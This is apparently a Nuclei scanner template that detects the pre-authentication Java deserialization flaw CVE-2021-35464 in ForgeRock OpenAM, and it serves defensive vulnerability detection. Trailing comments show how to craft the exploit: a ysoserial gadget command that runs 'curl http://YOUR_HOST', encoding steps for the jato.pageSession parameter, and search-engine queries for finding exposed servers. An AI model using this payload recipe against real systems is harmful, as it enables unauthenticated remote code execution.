id: CVE-2021-35464

info:
  name: ForgeRock OpenAM <7.0 - Remote Code Execution
  author: madrobot
  severity: critical
  description: |
    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
    The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
    /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
    found in versions of Java 8 or earlier.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
  reference:
    - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
    - http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
    - http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
    - https://bugster.forgerock.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35464
    cwe-id: CWE-502
    epss-score: 0.97398
    epss-percentile: 0.99918
    cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: forgerock
    product: am
    shodan-query:
      - http.title:"OpenAM"
      - http.title:"openam"
    fofa-query: title="openam"
    google-query: intitle:"openam"
  tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock

http:
  - method: GET
    path:
      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: JSESSIONID="

      - type: word
        part: body
        words:
          - "Version Information -"
          - "openam/ccversion/Masthead.jsp"
        condition: or

      - type: status
        status:
          - 200

# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
# digest: 4a0a00473045022100a433d6f3d0a58dc1b3f476fd095c008844c5717d4dd5c7f844dcbe2ffbc8c5d2022070f1fc6effc922fe54ce0bf664b18e9f2a9c378453b92ae48dc100c62671e657:922c64590222798bb761d5b6d8e72950